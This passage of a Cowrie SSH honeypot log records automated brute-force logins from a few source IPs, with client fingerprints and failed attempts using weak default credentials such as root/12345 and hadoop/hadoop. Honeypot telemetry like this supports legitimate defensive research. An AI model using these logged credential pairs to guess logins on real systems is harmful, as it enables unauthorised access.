0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:08.433425Z","src_ip":"91.92.42.133","session":"73101b02c2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52508,"dst_ip":"159.203.135.109","dst_port":22,"session":"98a88c1d47a8","protocol":"ssh","message":"New connection: 91.92.40.171:52508 (159.203.135.109:22) [session: 98a88c1d47a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:10.409919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:10.424609Z","src_ip":"91.92.40.171","session":"98a88c1d47a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:11.300742Z","src_ip":"91.92.40.171","session":"98a88c1d47a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:11.956558Z","src_ip":"91.92.42.133","session":"73101b02c2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:14.157997Z","src_ip":"91.92.42.133","session":"73101b02c2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52546,"dst_ip":"159.203.135.109","dst_port":22,"session":"609cb20decc5","protocol":"ssh","message":"New connection: 91.92.40.171:52546 (159.203.135.109:22) [session: 609cb20decc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:14.445353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:14.573199Z","src_ip":"91.92.40.171","session":"609cb20decc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:14.577150Z","src_ip":"91.92.40.171","session":"609cb20decc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:15.266445Z","src_ip":"91.92.40.171","session":"609cb20decc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:15.318850Z","src_ip":"91.92.40.171","session":"98a88c1d47a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53896,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3c7acf0dbc8","protocol":"ssh","message":"New connection: 91.92.42.133:53896 (159.203.135.109:22) [session: a3c7acf0dbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:15.737776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:16.280811Z","src_ip":"91.92.42.133","session":"a3c7acf0dbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:16.284575Z","src_ip":"91.92.42.133","session":"a3c7acf0dbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:16.553128Z","src_ip":"91.92.40.171","session":"609cb20decc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:17.521401Z","src_ip":"91.92.40.171","session":"98a88c1d47a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:18.222873Z","src_ip":"91.92.42.133","session":"a3c7acf0dbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:19.638784Z","src_ip":"91.92.42.133","session":"a3c7acf0dbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35190,"dst_ip":"159.203.135.109","dst_port":22,"session":"95186ec01891","protocol":"ssh","message":"New connection: 91.92.40.171:35190 (159.203.135.109:22) [session: 95186ec01891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:20.074128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:20.246147Z","src_ip":"91.92.40.171","session":"95186ec01891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:20.249956Z","src_ip":"91.92.40.171","session":"95186ec01891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:20.989999Z","src_ip":"91.92.40.171","session":"95186ec01891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:22.103044Z","src_ip":"91.92.40.171","session":"95186ec01891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54002,"dst_ip":"159.203.135.109","dst_port":22,"session":"e456595e65f1","protocol":"ssh","message":"New connection: 91.92.42.133:54002 (159.203.135.109:22) [session: e456595e65f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:23.260722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:23.502403Z","src_ip":"91.92.42.133","session":"e456595e65f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:23.509274Z","src_ip":"91.92.42.133","session":"e456595e65f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1","message":"login attempt [user3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:24.845358Z","src_ip":"91.92.42.133","session":"e456595e65f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:26.581909Z","src_ip":"91.92.42.133","session":"e456595e65f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56214,"dst_ip":"159.203.135.109","dst_port":22,"session":"1649e8034263","protocol":"ssh","message":"New connection: 91.92.40.171:56214 (159.203.135.109:22) [session: 1649e8034263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:27.907383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:27.944460Z","src_ip":"91.92.40.171","session":"1649e8034263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:29.155968Z","src_ip":"91.92.40.171","session":"1649e8034263","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54628,"dst_ip":"159.203.135.109","dst_port":22,"session":"734891699113","protocol":"ssh","message":"New connection: 91.92.42.133:54628 (159.203.135.109:22) [session: 734891699113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:30.619753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:30.899582Z","src_ip":"91.92.42.133","session":"734891699113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:30.903018Z","src_ip":"91.92.42.133","session":"734891699113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56268,"dst_ip":"159.203.135.109","dst_port":22,"session":"2419390238a9","protocol":"ssh","message":"New connection: 91.92.40.171:56268 (159.203.135.109:22) [session: 2419390238a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:31.431994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:31.443691Z","src_ip":"91.92.40.171","session":"2419390238a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:31.565259Z","src_ip":"91.92.40.171","session":"2419390238a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:31.697084Z","src_ip":"91.92.42.133","session":"734891699113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"1qaz2wsx","message":"login attempt [system/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:31.980942Z","src_ip":"91.92.40.171","session":"2419390238a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:32.801931Z","src_ip":"91.92.42.133","session":"734891699113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:33.009789Z","src_ip":"91.92.40.171","session":"1649e8034263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:33.084630Z","src_ip":"91.92.40.171","session":"2419390238a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":43590,"dst_ip":"10.17.0.5","dst_port":22,"session":"fee6aeabf2ef","protocol":"ssh","message":"New connection: 103.172.78.219:43590 (10.17.0.5:22) [session: fee6aeabf2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:33.740921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:10:33.747464Z","src_ip":"103.172.78.219","session":"fee6aeabf2ef","protocol":"ssh"}
